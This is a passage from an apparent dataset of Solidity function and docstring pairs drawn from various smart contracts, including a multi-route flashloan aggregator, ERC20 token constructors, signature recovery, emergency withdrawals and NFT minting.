uint256[](_length);\n for (uint256 i = 0; i < _length; i++) {\n IERC20 token = IERC20(_tokens[i]);\n balances_[i] = token.balanceOf(_account);\n }\n return balances_;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Supply tokens for the amounts to compound.\n * @notice Supply tokens for the amounts to compound.\n * @param _tokens token addresses.\n * @param _amounts amounts of tokens.\n */", "function_code": "function compoundSupply(address[] memory _tokens, uint256[] memory _amounts)\n internal\n {\n uint256 length_ = _tokens.length;\n require(_amounts.length == length_, \"array-lengths-not-same\");\n address[] memory cTokens_ = new address[](length_);\n for (uint256 i = 0; i < length_; i++) {\n if (_tokens[i] == address(wethToken)) {\n wethToken.withdraw(_amounts[i]);\n CEthInterface cEth_ = CEthInterface(cethTokenAddr);\n cEth_.mint{value: _amounts[i]}();\n cTokens_[i] = cethTokenAddr;\n } else {\n CTokenInterface cToken_ = CTokenInterface(\n tokenToCToken[_tokens[i]]\n );\n // Approved already in addTokenToctoken function\n require(cToken_.mint(_amounts[i]) == 0, \"mint failed\");\n cTokens_[i] = tokenToCToken[_tokens[i]];\n }\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Withdraw tokens from compound.\n * @notice Withdraw tokens from compound.\n * @param _tokens token addresses.\n * @param _amounts amounts of tokens.\n */", "function_code": "function compoundWithdraw(\n address[] memory _tokens,\n uint256[] memory _amounts\n ) internal {\n uint256 length_ = _tokens.length;\n require(_amounts.length == length_, \"array-lengths-not-same\");\n for (uint256 i = 0; i < length_; i++) {\n if (_tokens[i] == address(wethToken)) {\n CEthInterface cEth_ = CEthInterface(cethTokenAddr);\n require(\n cEth_.redeemUnderlying(_amounts[i]) == 0,\n \"redeem failed\"\n );\n wethToken.deposit{value: _amounts[i]}();\n } else {\n CTokenInterface cToken_ = CTokenInterface(\n tokenToCToken[_tokens[i]]\n );\n require(\n cToken_.redeemUnderlying(_amounts[i]) == 0,\n \"redeem failed\"\n );\n }\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Supply tokens to aave.\n * @notice Supply tokens to aave.\n * @param _tokens token addresses.\n * @param _amounts amounts of tokens.\n */", "function_code": "function aaveSupply(address[] memory _tokens, uint256[] memory _amounts)\n internal\n {\n uint256 length_ = _tokens.length;\n require(_amounts.length == length_, \"array-lengths-not-same\");\n for (uint256 i = 0; i < length_; i++) {\n approve(_tokens[i], address(aaveLending), _amounts[i]);\n aaveLending.deposit(_tokens[i], _amounts[i], address(this), 3228);\n aaveLending.setUserUseReserveAsCollateral(_tokens[i], true);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Borrow tokens from aave.\n * @notice Borrow tokens from aave.\n * @param _tokens list of token addresses.\n * @param _amounts list of amounts for respective tokens.\n */", "function_code": "function aaveBorrow(address[] memory _tokens, uint256[] memory _amounts)\n internal\n {\n uint256 length_ = _tokens.length;\n require(_amounts.length == length_, \"array-lengths-not-same\");\n for (uint256 i = 0; i < length_; i++) {\n aaveLending.borrow(_tokens[i], _amounts[i], 2, 3228, address(this));\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Payback tokens to aave.\n * @notice Payback tokens to aave.\n * @param _tokens list of token addresses.\n * @param _amounts list of amounts for respective tokens.\n */", "function_code": "function aavePayback(address[] memory _tokens, uint256[] memory _amounts)\n internal\n {\n uint256 length_ = _tokens.length;\n require(_amounts.length == length_, \"array-lengths-not-same\");\n for (uint256 i = 0; i < length_; i++) {\n approve(_tokens[i], address(aaveLending), _amounts[i]);\n aaveLending.repay(_tokens[i], _amounts[i], 2, address(this));\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Withdraw tokens from aave.\n * @notice Withdraw tokens from aave.\n * @param _tokens token addresses.\n * @param _amounts amounts of tokens.\n */", "function_code": "function aaveWithdraw(address[] memory _tokens, uint256[] memory _amounts)\n internal\n {\n uint256 length_ = _tokens.length;\n require(_amounts.length == length_, \"array-lengths-not-same\");\n for (uint256 i = 0; i < length_; i++) {\n aaveLending.withdraw(_tokens[i], _amounts[i], address(this));\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Returns fee for the passed route in BPS.\n * @notice Returns fee for the passed route in BPS. 1 BPS == 0.01%.\n * @param _route route number for flashloan.\n */", "function_code": "function calculateFeeBPS(uint256 _route, address account_)\n public\n view\n returns (uint256 BPS_)\n {\n if (_route == 1) {\n BPS_ = aaveLending.FLASHLOAN_PREMIUM_TOTAL();\n } else if (_route == 2 || _route == 3 || _route == 4) {\n BPS_ = (makerLending.toll()) / (10**14);\n } else if (_route == 5 || _route == 6 || _route == 7) {\n BPS_ =\n (\n balancerLending\n .getProtocolFeesCollector()\n .getFlashLoanFeePercentage()\n ) *\n 100;\n } else {\n revert(\"Invalid source\");\n }\n\n if (!isWhitelisted[account_] && BPS_ < InstaFeeBPS) {\n BPS_ = InstaFeeBPS;\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Calculate fees for the respective amounts and fee in BPS passed.\n * @notice Calculate fees for the respective amounts and fee in BPS passed. 1 BPS == 0.01%.\n * @param _amounts list of amounts.\n * @param _BPS fee in BPS.\n */", "function_code": "function calculateFees(uint256[] memory _amounts, uint256 _BPS)\n internal\n pure\n returns (uint256[] memory)\n {\n uint256 length_ = _amounts.length;\n uint256[] memory InstaFees = new uint256[](length_);\n for (uint256 i = 0; i < length_; i++) {\n InstaFees[i] = (_amounts[i] * _BPS) / (10**4);\n }\n return InstaFees;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Sort the tokens and amounts arrays according to token addresses.\n * @notice Sort the tokens and amounts arrays according to token addresses.\n * @param _tokens list of token addresses.\n * @param _amounts list of respective amounts.\n */", "function_code": "function bubbleSort(address[] memory _tokens, uint256[] memory _amounts)\n internal\n pure\n returns (address[] memory, uint256[] memory)\n {\n for (uint256 i = 0; i < _tokens.length - 1; i++) {\n for (uint256 j = 0; j < _tokens.length - i - 1; j++) {\n if (_tokens[j] > _tokens[j + 1]) {\n (\n _tokens[j],\n _tokens[j + 1],\n _amounts[j],\n _amounts[j + 1]\n ) = (\n _tokens[j + 1],\n _tokens[j],\n _amounts[j + 1],\n _amounts[j]\n );\n }\n }\n }\n return (_tokens, _amounts);\n }", "version": "0.8.4"} {"comment": "/**\r\n * Constructor - instantiates token supply and allocates balanace of\r\n * to the owner (msg.sender).\r\n */", "function_code": "function QuantstampToken(address _admin) {\r\n // the owner is a custodian of tokens that can\r\n // give an allowance of tokens for crowdsales\r\n // or to the admin, but cannot itself transfer\r\n // tokens; hence, this requirement\r\n require(msg.sender != _admin);\r\n\r\n totalSupply = INITIAL_SUPPLY;\r\n crowdSaleAllowance = CROWDSALE_ALLOWANCE;\r\n adminAllowance = ADMIN_ALLOWANCE;\r\n\r\n // mint all tokens\r\n balances[msg.sender] = totalSupply;\r\n Transfer(address(0x0), msg.sender, totalSupply);\r\n\r\n adminAddr = _admin;\r\n approve(adminAddr, adminAllowance);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Associates this token with a current crowdsale, giving the crowdsale\r\n * an allowance of tokens from the crowdsale supply. This gives the\r\n * crowdsale the ability to call transferFrom to transfer tokens to\r\n * whomever has purchased them.\r\n *\r\n * Note that if _amountForSale is 0, then it is assumed that the full\r\n * remaining crowdsale supply is made available to the crowdsale.\r\n *\r\n * @param _crowdSaleAddr The address of a crowdsale contract that will sell this token\r\n * @param _amountForSale The supply of tokens provided to the crowdsale\r\n */", "function_code": "function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {\r\n require(!transferEnabled);\r\n require(_amountForSale <= crowdSaleAllowance);\r\n\r\n // if 0, then full available crowdsale supply is assumed\r\n uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;\r\n\r\n // Clear allowance of old, and set allowance of new\r\n approve(crowdSaleAddr, 0);\r\n approve(_crowdSaleAddr, amount);\r\n\r\n crowdSaleAddr = _crowdSaleAddr;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Overrides ERC20 transferFrom function with modifier that prevents the\r\n * ability to transfer tokens until after transfers have been enabled.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public onlyWhenTransferEnabled validDestination(_to) returns (bool) {\r\n bool result = super.transferFrom(_from, _to, _value);\r\n if (result) {\r\n if (msg.sender == crowdSaleAddr)\r\n crowdSaleAllowance = crowdSaleAllowance.sub(_value);\r\n if (msg.sender == adminAddr)\r\n adminAllowance = adminAllowance.sub(_value);\r\n }\r\n return result;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately.\r\n *\r\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\r\n *\r\n * _Available since v4.2._\r\n */", "function_code": "function recover(\r\n bytes32 hash,\r\n bytes32 r,\r\n bytes32 vs\r\n ) internal pure returns (address) {\r\n bytes32 s;\r\n uint8 v;\r\n assembly {\r\n s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)\r\n v := add(shr(255, vs), 27)\r\n }\r\n return recover(hash, v, r, s);\r\n }", "version": "0.8.4"} {"comment": "// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol MIT licence", "function_code": "function Concatenate(string memory a, string memory b) public pure returns (string memory concatenatedString) {\r\n bytes memory bytesA = bytes(a);\r\n bytes memory bytesB = bytes(b);\r\n string memory concatenatedAB = new string(bytesA.length + bytesB.length);\r\n bytes memory bytesAB = bytes(concatenatedAB);\r\n uint concatendatedIndex = 0;\r\n uint index = 0;\r\n for (index = 0; index < bytesA.length; index++) {\r\n bytesAB[concatendatedIndex++] = bytesA[index];\r\n }\r\n for (index = 0; index < bytesB.length; index++) {\r\n bytesAB[concatendatedIndex++] = bytesB[index];\r\n }\r\n\r\n return string(bytesAB);\r\n }", "version": "0.5.8"} {"comment": "/**\n * @dev Add to token to cToken mapping.\n * @notice Add to token to cToken mapping.\n * @param _cTokens list of cToken addresses to be added to the mapping.\n */", "function_code": "function addTokenToCToken(address[] memory _cTokens) public {\n for (uint256 i = 0; i < _cTokens.length; i++) {\n (bool isMarket_, , ) = troller.markets(_cTokens[i]);\n require(isMarket_, \"unvalid-ctoken\");\n address token_ = CTokenInterface(_cTokens[i]).underlying();\n require(tokenToCToken[token_] == address((0)), \"already-added\");\n tokenToCToken[token_] = _cTokens[i];\n IERC20(token_).safeApprove(_cTokens[i], type(uint256).max);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Callback function for aave flashloan.\n * @notice Callback function for aave flashloan.\n * @param _assets list of asset addresses for flashloan.\n * @param _amounts list of amounts for the corresponding assets for flashloan.\n * @param _premiums list of premiums/fees for the corresponding addresses for flashloan.\n * @param _initiator initiator address for flashloan.\n * @param _data extra data passed.\n */", "function_code": "function executeOperation(\n address[] memory _assets,\n uint256[] memory _amounts,\n uint256[] memory _premiums,\n address _initiator,\n bytes memory _data\n ) external verifyDataHash(_data) returns (bool) {\n require(_initiator == address(this), \"not-same-sender\");\n require(msg.sender == address(aaveLending), \"not-aave-sender\");\n\n FlashloanVariables memory instaLoanVariables_;\n\n (address sender_, bytes memory data_) = abi.decode(\n _data,\n (address, bytes)\n );\n\n instaLoanVariables_._tokens = _assets;\n instaLoanVariables_._amounts = _amounts;\n instaLoanVariables_._instaFees = calculateFees(\n _amounts,\n calculateFeeBPS(1, sender_)\n );\n instaLoanVariables_._iniBals = calculateBalances(\n _assets,\n address(this)\n );\n\n safeApprove(instaLoanVariables_, _premiums, address(aaveLending));\n safeTransfer(instaLoanVariables_, sender_);\n\n if (checkIfDsa(sender_)) {\n Address.functionCall(\n sender_,\n data_,\n \"DSA-flashloan-fallback-failed\"\n );\n } else {\n InstaFlashReceiverInterface(sender_).executeOperation(\n _assets,\n _amounts,\n instaLoanVariables_._instaFees,\n sender_,\n data_\n );\n }\n\n instaLoanVariables_._finBals = calculateBalances(\n _assets,\n address(this)\n );\n validateFlashloan(instaLoanVariables_);\n\n return true;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Middle function for route 1.\n * @notice Middle function for route 1.\n * @param _tokens list of token addresses for flashloan.\n * @param _amounts list of amounts for the corresponding assets or amount of ether to borrow as collateral for flashloan.\n * @param _data extra data passed.\n */", "function_code": "function routeAave(\n address[] memory _tokens,\n uint256[] memory _amounts,\n bytes memory _data\n ) internal {\n bytes memory data_ = abi.encode(msg.sender, _data);\n uint256 length_ = _tokens.length;\n uint256[] memory _modes = new uint256[](length_);\n for (uint256 i = 0; i < length_; i++) {\n _modes[i] = 0;\n }\n dataHash = bytes32(keccak256(data_));\n aaveLending.flashLoan(\n address(this),\n _tokens,\n _amounts,\n _modes,\n address(0),\n data_,\n 3228\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Middle function for route 2.\n * @notice Middle function for route 2.\n * @param _token token address for flashloan(DAI).\n * @param _amount DAI amount for flashloan.\n * @param _data extra data passed.\n */", "function_code": "function routeMaker(\n address _token,\n uint256 _amount,\n bytes memory _data\n ) internal {\n address[] memory tokens_ = new address[](1);\n uint256[] memory amounts_ = new uint256[](1);\n tokens_[0] = _token;\n amounts_[0] = _amount;\n bytes memory data_ = abi.encode(\n 2,\n tokens_,\n amounts_,\n msg.sender,\n _data\n );\n dataHash = bytes32(keccak256(data_));\n makerLending.flashLoan(\n InstaFlashReceiverInterface(address(this)),\n _token,\n _amount,\n data_\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Middle function for route 3.\n * @notice Middle function for route 3.\n * @param _tokens token addresses for flashloan.\n * @param _amounts list of amounts for the corresponding assets.\n * @param _data extra data passed.\n */", "function_code": "function routeMakerCompound(\n address[] memory _tokens,\n uint256[] memory _amounts,\n bytes memory _data\n ) internal {\n bytes memory data_ = abi.encode(\n 3,\n _tokens,\n _amounts,\n msg.sender,\n _data\n );\n dataHash = bytes32(keccak256(data_));\n makerLending.flashLoan(\n InstaFlashReceiverInterface(address(this)),\n daiTokenAddr,\n daiBorrowAmount,\n data_\n );\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Main function for flashloan for all routes. Calls the middle functions according to routes.\n * @notice Main function for flashloan for all routes. Calls the middle functions according to routes.\n * @param _tokens token addresses for flashloan.\n * @param _amounts list of amounts for the corresponding assets.\n * @param _route route for flashloan.\n * @param _data extra data passed.\n */", "function_code": "function flashLoan(\n address[] memory _tokens,\n uint256[] memory _amounts,\n uint256 _route,\n bytes calldata _data,\n bytes calldata // kept for future use by instadapp. Currently not used anywhere.\n ) external reentrancy {\n require(_tokens.length == _amounts.length, \"array-lengths-not-same\");\n\n (_tokens, _amounts) = bubbleSort(_tokens, _amounts);\n validateTokens(_tokens);\n\n if (_route == 1) {\n routeAave(_tokens, _amounts, _data);\n } else if (_route == 2) {\n routeMaker(_tokens[0], _amounts[0], _data);\n } else if (_route == 3) {\n routeMakerCompound(_tokens, _amounts, _data);\n } else if (_route == 4) {\n routeMakerAave(_tokens, _amounts, _data);\n } else if (_route == 5) {\n routeBalancer(_tokens, _amounts, _data);\n } else if (_route == 6) {\n routeBalancerCompound(_tokens, _amounts, _data);\n } else if (_route == 7) {\n routeBalancerAave(_tokens, _amounts, _data);\n } else {\n revert(\"route-does-not-exist\");\n }\n\n emit LogFlashloan(msg.sender, _route, _tokens, _amounts);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Function to get the list of available routes.\n * @notice Function to get the list of available routes.\n */", "function_code": "function getRoutes() public pure returns (uint16[] memory routes_) {\n routes_ = new uint16[](7);\n routes_[0] = 1;\n routes_[1] = 2;\n routes_[2] = 3;\n routes_[3] = 4;\n routes_[4] = 5;\n routes_[5] = 6;\n routes_[6] = 7;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Function to transfer fee to the treasury.\n * @notice Function to transfer fee to the treasury. Will be called manually.\n * @param _tokens token addresses for transferring fee to treasury.\n */", "function_code": "function transferFeeToTreasury(address[] memory _tokens) public {\n for (uint256 i = 0; i < _tokens.length; i++) {\n IERC20 token_ = IERC20(_tokens[i]);\n uint256 decimals_ = TokenInterface(_tokens[i]).decimals();\n uint256 amtToSub_ = decimals_ == 18 ? 1e10 : decimals_ > 12\n ? 10000\n : decimals_ > 7\n ? 100\n : 10;\n uint256 amtToTransfer_ = token_.balanceOf(address(this)) > amtToSub_\n ? (token_.balanceOf(address(this)) - amtToSub_)\n : 0;\n if (amtToTransfer_ > 0)\n token_.safeTransfer(treasuryAddr, amtToTransfer_);\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Calculates the amount of dTokens that will be minted when the given amount \r\n * is deposited.\r\n * used in the deposit() function to calculate the amount of dTokens that\r\n * will be minted.\r\n *\r\n * @dev refer to keeperDao whose code is here: \r\n https://etherscan.io/address/0x53463cd0b074e5fdafc55dce7b1c82adf1a43b2e#code\r\n *\r\n * mintAmount = amountDeposited * (1-fee) * kPool /(pool + amountDeposited * fee)\r\n */", "function_code": "function calculateMintAmount(uint256 _depositAmount) internal view returns (uint256) {\r\n // The total balance includes the deposit amount, which is removed here. \r\n uint256 initialBalance = dollar.balanceOf(address(this)).sub(_depositAmount);\r\n\r\n if (totalSupply() == 0) {\r\n // if decimal is not 1e18, convert it.\r\n uint256 value = _depositAmount.mul(uint256(1e18)).div(10**dollarDecimal);\r\n return value;\r\n }\r\n\r\n return (applyFee(dollarFeeRatio, _depositAmount).mul(totalSupply())).div(\r\n initialBalance.add(\r\n calculateFee(dollarFeeRatio, _depositAmount)\r\n ));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Function to get the required amount of collateral to be paid to Uniswap and the expected amount to exercise the ACO token.\r\n * @param acoToken Address of the ACO token.\r\n * @param tokenAmount Amount of tokens to be exercised.\r\n * @param accounts The array of addresses to be exercised. Whether the array is empty the exercise will be executed using the standard method.\r\n * @return The required amount of collateral to be paid to Uniswap and the expected amount to exercise the ACO token.\r\n */", "function_code": "function getExerciseData(address acoToken, uint256 tokenAmount, address[] memory accounts) public view returns(uint256, uint256) {\r\n if (tokenAmount > 0) {\r\n address pair = getUniswapPair(acoToken);\r\n if (pair != address(0)) {\r\n address token0 = IUniswapV2Pair(pair).token0();\r\n address token1 = IUniswapV2Pair(pair).token1();\r\n (uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pair).getReserves();\r\n \r\n (address exerciseAddress, uint256 expectedAmount) = _getAcoExerciseData(acoToken, tokenAmount, accounts);\r\n \r\n\t\t\t\texerciseAddress = _getUniswapToken(exerciseAddress);\r\n \r\n uint256 reserveIn = 0; \r\n uint256 reserveOut = 0;\r\n if (exerciseAddress == token0 && expectedAmount < reserve0) {\r\n reserveIn = reserve1;\r\n reserveOut = reserve0;\r\n } else if (exerciseAddress == token1 && expectedAmount < reserve1) {\r\n reserveIn = reserve0;\r\n reserveOut = reserve1;\r\n }\r\n \r\n if (reserveIn > 0 && reserveOut > 0) {\r\n uint256 amountRequired = IUniswapV2Router02(uniswapRouter).getAmountIn(expectedAmount, reserveIn, reserveOut);\r\n return (amountRequired, expectedAmount);\r\n }\r\n }\r\n }\r\n return (0, 0);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Function to get the estimated collateral to be received through a flash exercise.\r\n * @param acoToken Address of the ACO token.\r\n * @param tokenAmount Amount of tokens to be exercised.\r\n * @return The estimated collateral to be received through a flash exercise using the standard exercise function.\r\n */", "function_code": "function getEstimatedReturn(address acoToken, uint256 tokenAmount) public view returns(uint256) {\r\n (uint256 amountRequired,) = getExerciseData(acoToken, tokenAmount, new address[](0));\r\n if (amountRequired > 0) {\r\n (uint256 collateralAmount,) = IACOToken(acoToken).getCollateralOnExercise(tokenAmount);\r\n if (amountRequired < collateralAmount) {\r\n return collateralAmount - amountRequired;\r\n }\r\n }\r\n return 0;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Internal function to get the ACO tokens exercise data.\r\n * @param acoToken Address of the ACO token.\r\n * @param tokenAmount Amount of tokens to be exercised.\r\n * @param accounts The array of addresses to be exercised. Whether the array is empty the exercise will be executed using the standard method.\r\n \t * @return The asset and the respective amount that should be sent to get the collateral.\r\n */", "function_code": "function _getAcoExerciseData(address acoToken, uint256 tokenAmount, address[] memory accounts) internal view returns(address, uint256) {\r\n\t\t(address exerciseAddress, uint256 expectedAmount) = IACOToken(acoToken).getBaseExerciseData(tokenAmount);\r\n\t\tif (accounts.length == 0) {\r\n\t\t\texpectedAmount = expectedAmount + IACOToken(acoToken).maxExercisedAccounts();\r\n\t\t} else {\r\n\t\t\texpectedAmount = expectedAmount + accounts.length;\r\n\t\t}\r\n\t\treturn (exerciseAddress, expectedAmount);\r\n\t}", "version": "0.6.6"} {"comment": "/**\r\n * @dev Internal function to flash exercise ACO tokens.\r\n * @param acoToken Address of the ACO token.\r\n * @param tokenAmount Amount of tokens to be exercised.\r\n * @param minimumCollateral The minimum amount of collateral accepted to be received on the flash exercise.\r\n * @param salt Random number to calculate the start index of the array of accounts to be exercised when using standard method.\r\n * @param accounts The array of addresses to get the deposited collateral. Whether the array is empty the exercise will be executed using the standard method.\r\n */", "function_code": "function _flashExercise(\r\n address acoToken, \r\n uint256 tokenAmount, \r\n uint256 minimumCollateral, \r\n uint256 salt,\r\n address[] memory accounts\r\n ) internal {\r\n address pair = getUniswapPair(acoToken);\r\n require(pair != address(0), \"ACOFlashExercise::_flashExercise: Invalid Uniswap pair\");\r\n \r\n (address exerciseAddress, uint256 expectedAmount) = _getAcoExerciseData(acoToken, tokenAmount, accounts);\r\n\r\n uint256 amount0Out = 0;\r\n uint256 amount1Out = 0;\r\n if (_getUniswapToken(exerciseAddress) == IUniswapV2Pair(pair).token0()) {\r\n amount0Out = expectedAmount;\r\n } else {\r\n amount1Out = expectedAmount; \r\n }\r\n \r\n IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), abi.encode(msg.sender, acoToken, tokenAmount, minimumCollateral, salt, accounts));\r\n }", "version": "0.6.6"} {"comment": "/// @notice Withdraw all\n/// @param user User address\n/// @param pwrd pwrd/gvt token\n/// @param minAmount min amount of token to withdraw", "function_code": "function emergencyWithdrawAll(\r\n address user,\r\n bool pwrd,\r\n uint256 minAmount\r\n ) external override {\r\n // Only withdrawHandler can call this method\r\n require(msg.sender == ctrl.withdrawHandler(), \"EmergencyHandler: !WithdrawHandler\");\r\n IToken gt = IToken(gTokens(pwrd));\r\n uint256 userAssets = gt.getAssets(user);\r\n\r\n _withdraw(user, pwrd, true, userAssets, minAmount);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Withdraw partial\n/// @param user User address\n/// @param pwrd pwrd/gvt token\n/// @param inAmount usd to witdraw\n/// @param minAmount min amount of token to withdraw", "function_code": "function emergencyWithdrawal(\r\n address user,\r\n bool pwrd,\r\n uint256 inAmount,\r\n uint256 minAmount\r\n ) external override {\r\n // Only withdrawHandler can call this method\r\n require(msg.sender == ctrl.withdrawHandler(), \"EmergencyHandler: !WithdrawHandler\");\r\n IToken gt = IToken(gTokens(pwrd));\r\n uint256 userAssets = gt.getAssets(user);\r\n // User must have a positive amount of gTokens\r\n require(userAssets >= inAmount, \"EmergencyHandler: !userGTokens\");\r\n\r\n _withdraw(user, pwrd, false, inAmount, minAmount);\r\n }", "version": "0.6.12"} {"comment": "// Source : https://ethereum.stackexchange.com/questions/8086/logarithm-math-operation-in-solidity", "function_code": "function log(uint x) internal pure returns (uint y)\r\n\t{\r\n\t\tassembly\r\n\t\t{\r\n\t\t\tlet arg := x\r\n\t\t\tx := sub(x,1)\r\n\t\t\tx := or(x, div(x, 0x02))\r\n\t\t\tx := or(x, div(x, 0x04))\r\n\t\t\tx := or(x, div(x, 0x10))\r\n\t\t\tx := or(x, div(x, 0x100))\r\n\t\t\tx := or(x, div(x, 0x10000))\r\n\t\t\tx := or(x, div(x, 0x100000000))\r\n\t\t\tx := or(x, div(x, 0x10000000000000000))\r\n\t\t\tx := or(x, div(x, 0x100000000000000000000000000000000))\r\n\t\t\tx := add(x, 1)\r\n\t\t\tlet m := mload(0x40)\r\n\t\t\tmstore(m, 0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)\r\n\t\t\tmstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)\r\n\t\t\tmstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)\r\n\t\t\tmstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)\r\n\t\t\tmstore(add(m,0x80), 0xf7cae577eec2a03cf3bad76fb589591debb2dd67e0aa9834bea6925f6a4a2e0e)\r\n\t\t\tmstore(add(m,0xa0), 0xe39ed557db96902cd38ed14fad815115c786af479b7e83247363534337271707)\r\n\t\t\tmstore(add(m,0xc0), 0xc976c13bb96e881cb166a933a55e490d9d56952b8d4e801485467d2362422606)\r\n\t\t\tmstore(add(m,0xe0), 0x753a6d1b65325d0c552a4d1345224105391a310b29122104190a110309020100)\r\n\t\t\tmstore(0x40, add(m, 0x100))\r\n\t\t\tlet magic := 0x818283848586878898a8b8c8d8e8f929395969799a9b9d9e9faaeb6bedeeff\r\n\t\t\tlet shift := 0x100000000000000000000000000000000000000000000000000000000000000\r\n\t\t\tlet a := div(mul(x, magic), shift)\r\n\t\t\ty := div(mload(add(m,sub(255,a))), shift)\r\n\t\t\ty := add(y, mul(256, gt(arg, 0x8000000000000000000000000000000000000000000000000000000000000000)))\r\n\t\t}\r\n\t}", "version": "0.4.21"} {"comment": "/*\r\n * The RLC Token created with the time at which the crowdsale end\r\n */", "function_code": "function RLC() {\r\n // lock the transfer function during the crowdsale\r\n locked = true;\r\n //unlockBlock= now + 45 days; // (testnet) - for mainnet put the block number\r\n\r\n initialSupply = 87000000000000000;\r\n totalSupply = initialSupply;\r\n balances[msg.sender] = initialSupply;// Give the creator all initial tokens\r\n name = 'iEx.ec Network Token'; // Set the name for display purposes\r\n symbol = 'RLC'; // Set the symbol for display purposes\r\n decimals = 9; // Amount of decimals for display purposes\r\n }", "version": "0.4.21"} {"comment": "// Max potential payments", "function_code": "function private_getGameState() public view returns(uint256 _contractBalance,\r\n bool _game_paused,\r\n uint256 _minRoll,\r\n uint256 _maxRoll,\r\n uint256 _minBet,\r\n uint256 _maxBet,\r\n uint256 _houseEdge,\r\n uint256 _totalUserProfit,\r\n uint256 _totalWins,\r\n uint256 _totalLosses,\r\n uint256 _totalWinAmount,\r\n uint256 _totalLossAmount,\r\n uint256 _liveMaxBet,\r\n uint256 _totalFails) {\r\n _contractBalance = contractBalance;\r\n _game_paused = game_paused;\r\n _minRoll = minRoll;\r\n _maxRoll = maxRoll;\r\n _minBet = minBet;\r\n _maxBet = maxBet;\r\n _houseEdge = houseEdge;\r\n _totalUserProfit = totalUserProfit;\r\n _totalWins = totalWins;\r\n _totalLosses = totalLosses;\r\n _totalWinAmount = totalWinAmount;\r\n _totalLossAmount = totalLossAmount;\r\n _liveMaxBet = getLiveMaxBet();\r\n _totalFails = totalFails;\r\n \r\n }", "version": "0.4.24"} {"comment": "// need to process any playerPendingWithdrawals\n// Allow a user to withdraw any pending amount (That may of failed previously)", "function_code": "function player_withdrawPendingTransactions() public\r\n returns (bool)\r\n {\r\n uint withdrawAmount = playerPendingWithdrawals[msg.sender];\r\n playerPendingWithdrawals[msg.sender] = 0;\r\n\r\n if (msg.sender.call.value(withdrawAmount)()) {\r\n return true;\r\n } else {\r\n /* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */\r\n /* player can try to withdraw again later */\r\n playerPendingWithdrawals[msg.sender] = withdrawAmount;\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/* Issue */", "function_code": "function issueToken(uint256 _count) onlyAdmins() public {\r\n uint256 l = tokenSize;\r\n uint256 r = tokenSize + _count;\r\n for (uint256 i = l; i < r; i++) {\r\n ownerOfToken[i] = msg.sender;\r\n } \r\n tokenSize += _count; \r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Mints Degenz\r\n */", "function_code": "function mintDegen(uint numberOfTokens) public payable {\r\n require(saleIsActive, \"Sale must be active to mint Degen\");\r\n require(numberOfTokens <= maxDegenPurchase, \"Can only mint 10 tokens at a time\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_DEGENZ, \"Purchase would exceed max supply of Degenz\");\r\n require(degenPrice.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_DEGENZ) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n }\r\n\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Send token to multiple address\r\n * @param _investors The addresses of EOA that can receive token from this contract.\r\n * @param _tokenAmounts The values of token are sent from this contract.\r\n */", "function_code": "function batchTransferFrom(address _tokenAddress, address[] _investors, uint256[] _tokenAmounts) public {\r\n ERC20BasicInterface token = ERC20BasicInterface(_tokenAddress);\r\n require(_investors.length == _tokenAmounts.length && _investors.length != 0);\r\n\r\n for (uint i = 0; i < _investors.length; i++) {\r\n require(_tokenAmounts[i] > 0 && _investors[i] != 0x0);\r\n require(token.transferFrom(msg.sender,_investors[i], _tokenAmounts[i]));\r\n }\r\n }", "version": "0.4.23"} {"comment": "// @dev launch presale", "function_code": "function launchPresale(uint16 daysLaunch ) public onlyOwner returns (bool) {\n require(SALE_START == 0, \"sale start already set!\" );\n require(daysLaunch > 0, \"days launch must be positive\");\n require(startingIndex != 0, \"index must be set to launch presale!\");\n\n SALE_START = getNow() + (daysLaunch * 86400);\n 